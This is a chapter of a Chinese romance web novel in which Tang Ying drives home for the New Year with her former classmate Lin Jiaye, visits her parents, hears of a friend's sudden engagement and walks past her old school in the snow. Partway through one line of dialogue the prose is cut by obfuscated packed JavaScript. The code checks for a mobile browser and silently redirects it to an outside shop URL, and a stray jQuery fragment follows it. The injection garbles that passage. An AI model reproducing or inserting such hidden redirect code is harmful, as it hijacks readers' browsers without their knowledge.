临近年关，唐迎想趁回棉城之前再叫贝桃出来聚聚，可好几次都没成功，因为贝桃没时间来。
这个女人最近行踪很神秘，唐迎发了好几次信息，对方都一副很忙的样子，问起来就是含糊其词。
公司年底忙点倒也正常，唐迎知道贝桃在工作上向来不含糊，没再问了。
回棉城的前一天，唐迎给小梅多放了一天假，让她早点回家收拾行李，自己则留在店里，花了一整天把商品包好盖好，蒙上布防尘。
第二天下午，唐迎选了个日头最盛的时段出发。
她喜欢在开车的时候看沿途风景，三点出发能赶上夕阳，到的时候又不会太晚。
接人的地方约在离她公寓不远的地方，唐迎远远瞥见一个人影。
那人似乎来得挺早，站在一颗冬枯木下，身形和旁边树干一样修长挺拔。
他低着头看手机，全身上下只有一个双肩包，连箱子都没拿。
唐迎到他跟前摇下车窗，“等多久了？”
林家烨抬头，说：“不久。”
唐迎开了锁：“上车吧。”
林家烨车后打开后备箱，想把双肩背包放进去。掀起盖时，他眉间一跳。
各式各样的礼盒、特产，叠成一摞摞放在后备箱里，小小的空间几乎被塞满。
唐迎这才想起来，冲他喊：“你放后座上吧，后备箱没位置了。”
林家烨问：“这么多，送人的？”
唐迎摇头，“给家里的。”
每年她回棉城前都会置办很多东西，补品、特产、茶叶，周兰英嘴上说着不要，其实心里很喜欢。
所以唐迎年年都带。
林家烨合上车盖，把背包放后座了。
他上车之前，唐迎问他：“会开车吗？”
“会，”他说完一顿，又补充：“驾照先考了，等有车的时候也不用再花时间学。”
唐迎点点头，也不客气，说：“那你来开？”
林家烨说：“行。”
唐迎坐上副驾，把座椅靠背往后压了压，挑了个舒服的姿势。手指在操控板上点了点，播放了一首她最喜欢的纯音乐。
林家烨开车开得意外地很平稳。
唐迎今天把自己包裹得很严实，帽子手套一应俱全，车内还开了暖气，什么也冻不着。
窗外，一颗颗白蜡树掠过，被日头那么照着，在冬日里仍显得生机，唐迎说：“我想开个窗。”
林家烨：“开。”
唐迎摇下车窗，没了窗户的遮挡，风就灌进来，吹得她鼻尖凉凉的。
唐迎问：“你准备在棉城待多长时间？”
“两三天，不会太久，”林家烨正侧头看后视镜，“我妈年后有一个调研，要来一趟京北，我到时候和她一起回。”
唐迎问：“赵老师身体还好吗？”
“她很好。”
林家烨的母亲是三中教师，教的不是唐迎他们班，但在年级里小有名气，班上人都知道。带的平行班，年年重本率却都稳定在前三。
唐迎去多功能大教室里上过她一节物理公开课，对她的面容有模糊的印象。
林家烨：“前些天我跟她说起你也在京北，她还问起你怎么样。”
唐迎有些惊讶：“她认识我？”
“认识，”林家烨声音平稳，仿佛在说一句很平常的事：“你那么不守规矩，年级里哪个老师没听过两声你的名字。”
唐迎笑了一下：“从姜汕嘴里听到的？”
林家烨安静了一会儿，然后说：“也许。”
唐迎说：“那糟了，她对我的印象一定奇差无比。”
林家烨没否认也没肯定，唐迎也不想再继续这个话题，没有人再说话。
过了许久，林家烨动了动手腕，虽然动作很轻，但唐迎还是注意到了。
暖气从窗户边儿上一点点流失，林家烨扣着方向盘，手指有点泛白。
他面上倒没什么反应，唐迎见他神色如常，黑眸目视前方，再往上是深邃的眉骨和整齐的发梢。
从上车到现在，他没说过一句拒绝的话。
唐迎沉默了一会儿，然后把车窗关上了。
林家烨问：“不看了？”
唐迎说：“看腻了，树都长得一样。”
林家烨没再说什么，车里很安静，唐迎慢慢闭上眼睛。
意识昏沉之前，面前光影暗了暗，有人把遮光板打了下来，又把音乐声调低了。唐迎忍不住睁开眼睛，又很快闭上。
前些天去的那场纸艺展和现在的感觉好像。
一种安心的，被包裹住的感觉。
她在黑暗中动了动眼睫，有些烦躁，反而有些睡不着。
......
等唐迎再次睁开眼的时候，天色已经暗了。
唐迎坐直身体，眯起眼睛问：“到哪里了？”
“快了，还有五公里到家。”林家烨说。
唐迎还没完全清醒，一愣：“你家还是我家？”
林家烨笑了一下：“我家。”
他在她耳边笑，唐迎觉得耳朵有些痒，抬手揉了一下。
林家烨看她，“耳朵不舒服？”
唐迎摇摇头，“没有。”
林家烨说：“我下车之后换你来开？”
唐迎点点头。
林家烨又问：“清醒了吗？”
“放心，这几步路我不会睡过去。”唐迎说。
她从车门的储物格里拿出一瓶矿泉水，喝下去几口，拿了瓶新的递过去，“你要吗？”
“要，”林家烨没看她，“等下一个路口。”
唐迎的手还举在空中，从这里能看到他专注的侧颜。她安静半晌，低声“嗯”了一声。
车子下了高速公路，棉城的夜晚是热闹的，虽然天气冷，街头巷尾却很多人，夜市小摊应接不暇，哪哪都是烟火气。
到了区楼下，唐迎下车，林家烨从驾驶位出来，她坐进去，看着林家烨：“代我向赵老师问好。”
林家烨也站在外面看着她：“进去坐坐？”
唐迎瞪大了眼睛，进去做什么？她为什么要进去坐？
林家烨面不改色心不跳，像谈论天气一样平常，“赵老师很久没见往届毕业生了，何况她对你的印象很深。”
唐迎狐疑地打量着他，却见他神色平整，黑眸淡淡盯着她看，耐人寻味的专注。她胸口忽然升起一股奇怪的感觉。
唐迎说：“我不去了，我怕你骗我。”
林家烨笑了：“我怎么骗你？”
唐迎：“万一赵老师很讨厌我，我就过不好今晚了。”
她低头看了眼时间，“我要回去了。”
林家烨直起腰，看着她的车远去，直到驶出视线之外。
-
棉城老城区的夜路很好走，路灯亮得刚刚好，既不刺眼也不阴森，唐迎上学的时候走过无数次，一点也不害怕。
到了小区楼下，唐迎没直接进去，先拐进了门口一家面馆。时间有点晚，她没让家里人给她留饭。
唐迎打开手机，界面突然震了震，一条消息弹出：
——“我订婚了。”
唐迎盯着这四个字，以为自己眼花看错了。
“您的面好嘞，小心热气！”面馆老板端上一碗热腾腾的面，唐迎已经无暇去看，她迅速拨了贝桃的号码过去，“嘟嘟”的忙音响起。
她又反复打了几遍，无果，这才缓缓放下手机。
小面馆的门不顶风，唐迎坐在座位上打了个冷战。碗里的面吃了没几口，就没了胃口。
等到了家，家门大敞着，唐迎探头喊：“怎么门都没关？”
“回来了？”唐勇军快步从里面走过来，“这不你要回来，提前给你开门吗？”
唐迎扯扯唇角，“我都说了，回来的时间没个准数的，这么冷的天敞着门，给你冻生病了怎么办？”
唐勇军摆摆手：“我身体好不怕冻。”
老爹就这个性格，唐迎知道和他争辩无用。她把大包小包的东西放地上，又找出来一件递给他，“给你带的球拍胶皮，蝴蝶牌的。”
唐勇军为人务实、生活寡淡。平日里照顾家里生意，没什么其他的娱乐活动，除了和小区里其他大爷大妈打打乒乓球。
就这么一个朴实无华的爱好，从唐迎小时候延续到现在。
说是业余，这老头却还挺认真对待，不买一般的成品拍，连胶和底板都要自己配，这么多年每回换拍都折腾。
他节省一辈子，稍微贵点儿的拍子就不肯花钱，唐迎想着趁着过年回来，帮他把这心事了了。
唐勇军看着拍子，眉头高高皱起，“买这么贵的做什么。”
唐迎无所谓地说：“东西好用不就行了？”
“就用你开店挣的那俩钱？给自己花都不够。”唐勇军说。
唐迎转转眼睛，说：“没专门给你买，上回路过体育用品店，看见了顺带捎的。”
唐勇军：“顺带捎的给买了我看了那么久的系列？”
唐迎冲他弯弯眼睛，不说话了。
唐勇军走到橱柜边上，把东西放在最上面一层，唐迎问：“不装上吗？”
唐勇军说：“先放着。”
唐迎瞅他，“不像你的作风啊。”
唐勇军摆摆手：“近期用不着的。”
唐迎眨眨眼，往前两步堵住他去路，“怎么用不着了，你不是天天和楼下李叔约球吗？”
“再说吧，过完年再说。”唐勇军揉了两下右胳膊，转身忙别的去了。
唐迎盯着他的背影，觉得有些奇怪。
周兰英在房间里看小品，唐迎进去的时候，她正逗得直乐。
唐迎抱着胸靠在门框边上站好了，周兰英看见她，闭了电视节目，问她什么时候回来的。
她摸摸唐迎的手，看是不是冻着，“夜路不好开吧？”
“开得可顺了。”唐迎两眼弯弯，面颊红润，冻不冻的没看出来，反而显得精神好。
毕竟这一路上她摸方向盘的时候屈指可数。
唐迎挽着周兰英的胳膊进客厅，周兰英个子不高，唐迎高中那会儿就过了168，比周兰英高出半个头。
以前周兰英头发乌黑乌黑的，还很亮，但最近有了几缕白发，唐迎看到没说话，拉着她到玄关去。
带回来的东西都堆在那里，变成一座小山。
唐迎蹲下来，和周兰英都一一说好，哪些是闲暇时候的零食，哪些美容养颜，哪些强身健体。
周兰英抱怨她：“每年都买这么多！你去年带回来的我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165421|196689||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们都没吃完。”
唐迎说：“吃不完就挑爱吃的吃完。”
周兰英笑了：“那不爱吃的呢？”
唐迎想回她，不爱吃的就放着或者扔了，但这么说周兰英肯定会说浪费，就没吭声。她其实也不知道怎么做最好。
唐迎有些自知之明，除了买些日用补品孝敬他俩，她也没有别的更大的本事。
......
除夕夜这晚，大街上店铺都歇了，却不冷清，家家户户都灯火通明。
老城区的年味儿更重，还没到零点，外面就已全是烟花炮竹声。
饺子包了好几种馅儿，因为唐迎爱吃酸菜和三鲜的，周兰英和唐勇军吃不惯，但每年唐迎回来的时候还是照样做。
唐迎走到厨房里要帮忙，被周兰英用手挡回来：“别过来捣乱。”
唐迎有点儿不满：“我想帮帮你嘛。”
“你那艺术家的手，金贵着，”周兰英冲她努努嘴，“去客厅等着吧。”
小的时候，周兰英就喜欢捧着唐迎的手看，嘴里念叨着，说咱姑娘不仅长得水灵，小手也细细白白嫩嫩的。
后来唐迎毕业做起容器这行，每年回来，周兰英就更不让她碰家务活了。
唐迎突然想起来，这么多年他俩似乎都是这样，没变过。
周兰英和唐勇军没上过大学，唐迎上学那会儿，他们就盼着她能学出点儿名堂。可唐迎一点儿这方面的天赋都没，反而课外课余的动手能力很厉害。
两口子考虑了几个晚上，停掉了唐迎的补习班，由了她去了。
生意人没那么多条条框框，家风虽然不够体面，但还算的上开放。
唐迎高中时做的第一个木笔筒，被搬去“容艺巷”之前，一直都放在家里自己的房间。唐迎上大学那会儿每年寒暑假回来，笔筒的外壁都被擦得油光锃亮，一点灰尘没落上去。
明明也不是什么大作品，却被保护的很好。
她的这双手也是。
初二，棉城下了一场雪。
这不是今年的初雪了，但不影响人们看见雪景的热情。
唐迎家楼层低，能清楚看见窗外。日头刚出来，楼下门栋前就一片吵闹声，小孩子们穿着厚厚的棉衣和毛线帽子，手套被雪打湿，靴子都陷进雪地里。
她起的早，周兰英和唐勇军都还在房间里睡着。唐迎扒着门窗看了一会儿下面，忽然不想再待在家里。
她随便套了件外套出去。
其实唐迎长这么大看惯了雪，每次下雪没觉得有多漂亮，出行反而麻烦。
但去过京北的雪场之后，心里的印象发生了改变。
白雪会带她回到那个一望无际的山坡和滑道，回忆起吸入鼻腔的冷空气，和照在身上暖烘烘的阳光。
每一样都让她心驰神往。
楼下小院儿被小孩子们占领了，他们捏着雪团疯跑，又互相砸到对方身上。
半截手套陷在雪地里，孤零零得无人问津。
“豆子，手套穿好，冻伤了李叔得抽你。”唐迎路过的时候说。
这些孩子里有唐迎眼生的，也有熟人家的孩子，豆子就是。
他是李叔的孙子，刚上小学。放寒暑假的时候，李叔和唐勇军约在社区楼下约球，豆子会被大人拉着一起来学个两三招。
豆子今年又长高了些，话也说得顺溜起来，“别想吓唬我，你自己也没戴帽子。”
唐迎把围巾往发顶上一绕，“这样就是帽子了。”
豆子不屑：“切。”
唐迎朝他做了个鬼脸，仰起下巴从旁边走过去。
沿着老城区的街道走，这块儿是政府重点建设维新的区域，路上瓷砖都翻新了一遍，被雪盖着薄薄一层，隐约可见砖头上精致的花纹。
唐迎边看街头巷尾的变化，边找一家早餐铺，豆腐脑和油条的搭配虽然在京北也能吃着，但和在棉城吃的是不一样的味道。
唐迎最喜欢的那家早餐店在三中后面。
她上高中时走读，有时候周兰英和唐勇军出门太早，家里没有早餐，她就出来吃，吃完了再进校门。
等到了教室，早读都已经开始了，如果不巧被姜汕抓到，就被罚站或者打扫卫生。
唐迎拐了好几个路口，仰头一望，已经到了三中门口。
她对学校其实没多少感情，虽然穿着校服，可她的主业却不是学习，也不知道该如何做一个好学生。
她对学校总是没有归属感的。
唐迎盯着校门口的石柱子看了一会儿，上面八个字的校训她记得，却没有真正实践过。
收回视线的时候，见不远处围栏的尽头也站着一个人。
那人个子太高，侧颜干净好看，站在雪地里挺扎眼。
外套不是他在京北常穿的那件，换了件剪裁高级、质地良好的深色大衣，唐迎前几次没有见他穿过。
领口微微立着，将他的身形勾勒得修长而挺拔，凌厉而清俊。
他正穿过围栏看向学校里面，眸光淡淡，不知道在想什么。先前身上那种低调的气质消失，取而代之的是距离感。
人在没有防备的状态下最真实。
唐迎愣神两秒。
恍惚间，她仿佛又看到了当年那个优秀体面不近人情，和她本该毫无交集的少年。